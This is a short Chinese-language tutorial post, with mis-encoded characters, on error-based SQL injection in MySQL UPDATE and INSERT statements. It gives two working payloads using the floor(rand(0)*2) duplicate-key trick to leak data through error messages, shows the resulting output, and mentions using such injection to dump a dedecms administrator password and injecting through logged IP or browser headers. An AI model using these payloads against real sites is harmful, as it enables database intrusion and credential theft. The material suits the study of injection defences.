以MySQL為例,有時候運(yùn)氣好的話update類型的SQL注射可以直接將我們需要的內(nèi)容更新到我們可見的字段里.這樣比較方便,比如這篇文章提到的dedecms的注射爆管理員密碼的漏洞,期間我還傻傻的寫了個小程序盲注來著,后來發(fā)現(xiàn)沒必要,可以直接把密碼字段的內(nèi)容放到用戶名里顯示出來.有時候運(yùn)氣不好,那個字段內(nèi)容顯示不出來的話,恰巧能輸出mysql錯誤信息,也可以利用報錯注射.
update 類型爆錯注入
update web_ids set host=' www.2cto.com ' where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (version())),1,62)))a from information_schema.tables group by a)b);
ERROR 1062 (23000): Duplicate entry ’15.1.41-3ubuntu12.10‘ for key ‘group_key’
insert 類型報錯盲注
有的比較猥瑣的網(wǎng)站會記錄訪問者的ip地址,瀏覽器信息等等到數(shù)據(jù)庫里,
有些_SERVER變量不受魔術(shù)引號控制,或者我們可以覆蓋_SERVER變量的話,這類漏洞就可能發(fā)生.
但是一般情況下數(shù)據(jù)只會才后臺顯示,不會在前臺顯示出來
這類漏洞運(yùn)氣好的話,也可以報錯注射,運(yùn)氣不好的話就延時盲注猜解吧.
insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (version())),1,62)))a from information_schema.tables group by a)b)));
ERROR 1062 (23000): Duplicate entry ’15.1.41-3ubuntu12.10‘ for key ‘group_key’